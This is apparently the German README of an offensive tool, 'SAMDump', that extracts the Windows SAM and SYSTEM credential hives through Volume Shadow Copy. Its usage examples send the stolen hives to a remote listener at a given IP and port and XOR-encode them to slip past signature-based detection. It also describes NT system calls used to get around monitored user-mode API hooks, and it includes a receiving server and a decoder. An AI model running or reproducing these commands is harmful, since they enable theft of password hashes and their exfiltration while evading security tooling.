
Extrahieren Sie die SAM- und SYSTEM-Hives mithilfe der Volume-Shadow-Copy-API (VSS). Mit Exfiltrations- und XOR-Verschleierungsoptionen. In C#, C++, Crystal, Python, Rust, Golang, Nim und Deno (Javascript)
Extrahiert Windows-SAM- und SYSTEM-Dateien mit dem Volume Shadow Copy Service (VSS) und bietet mehrere Exfiltrationsoptionen sowie XOR-Verschleierung:
Es ist in C++, C#, Crystal und Python implementiert und funktioniert auf modernen Windows-Versionen.
Es erfordert erhöhte Rechte, und wenn ein Shadow Copy erstellt wird, wird dieser nach etwa 5 Minuten automatisch gelöscht.
SAMDump.exe [OPTIONEN]
Optionen:
--save-local [BOOL] Lokal speichern (Standard: false)
--output-dir DIR Ausgabeverzeichnis (Standard: C:\Windows\tasks)
--send-remote [BOOL] Remote senden (Standard: false)
--host IP Host für Remote-Senden (Standard: 127.0.0.1)
--port PORT Port für Remote-Senden (Standard: 7777)
--xor-encode [BOOL] XOR-Kodierung (Standard: false)
--xor-key KEY XOR mit angegebenem Schlüssel aktivieren (Standard: SAMDump2025)
--disk DISK Laufwerk für Shadow Copy (Standard: C:\)
--help Diese Hilfe anzeigen
Lokal ohne Kodierung speichern:
SAMDump.exe --save-local --output-dir "C:\temp"

Lokal mit XOR-Kodierung speichern:
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

An Remote-Server mit XOR-Kodierung und Standard-Schlüssel senden:
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

server.py ist ein Python-Server, der Dateien über das Netzwerk empfängt, mit automatischer XOR-Dekodierung und Dateinamen-Formatierung:
python server.py [OPTIONEN]
Optionen:
--host HOST IP-Adresse zum Lauschen (Standard: 0.0.0.0)
--port PORT Port zum Lauschen (Standard: 7777)
--xor-key KEY Schlüssel für XOR-Dekodierung (optional)
Listener auf bestimmter Schnittstelle und Port mit XOR-Schlüssel:
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

Der Dateiname enthält die IP-Adresse und das Datum, sodass Sie die Dateien von verschiedenen Systemen senden und den Vorgang automatisieren können.
xor-decoder.py ist ein Python-Skript zum lokalen Dekodieren XOR-kodierter SAM- und SYSTEM-Dateien:
python xor-decoder.py [OPTIONEN]
Optionen:
--sam SAM Pfad zur kodierten SAM-Datei (erforderlich)
--system SYSTEM Pfad zur kodierten SYSTEM-Datei (erforderlich)
--xor-key KEY XOR-Schlüssel zur Dekodierung (Standard: SAMDump2025)
--output-dir DIR Ausgabeverzeichnis für dekodierte Dateien (Standard: ./decoded)
Mit Standardschlüssel dekodieren:
python xor-decoder.py --sam sam.txt --system system.txt

Mit benutzerdefiniertem Schlüssel und Ausgabeverzeichnis dekodieren:
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

Das Projekt enthält Versionen, die in drei Sprachen implementiert sind:
comtypes (pip install comtypes)Ich wollte diesen Vorgang automatisieren, und die meisten Windows-Systeme, die ich vorfinde, führen VSS aus. Allerdings erkennen Sicherheitslösungen die Verwendung von vssadmin zum Erstellen von Shadow Copies und zum Extrahieren dieser Dateien, da es sich um eine bekannte Technik handelt.
Dieses Tool extrahiert die Dateien, ohne in das Ziel-Dateisystem zu schreiben, wenn der Remote-Übertragungsmodus verwendet wird; und die XOR-Kodierung bietet eine grundlegende Verschleierung, um signaturbasierte Erkennung zu umgehen (auch im Remote-Modus).
Darüber hinaus nutzt es NT-API-Aufrufe, um einige Überwachungs- und User-Mode-API-Hooks zu umgehen.
Das Tool verwendet NT-Systemaufrufe anstelle der standardmäßigen Windows-API-Funktionen, was möglicherweise einige häufig überwachte User-Mode-API-Hooks umgeht:
NtCreateFile und NtReadFile: Werden verwendet, um ein Handle zu öffnen und die Bytes der SAM- und SYSTEM-Dateien im Shadow Copy zu lesen
NtWriteFile: Wird verwendet, um die Dateien lokal zu speichern
Dank an @vx-underground für die Identifizierung und Vorschläge von Optimierungen im Code zur Traversierung der Export Address Table (EAT), bei dem unnötige NtReadVirtualMemory-Aufrufe durch direkten Pointer-Zugriff ersetzt wurden.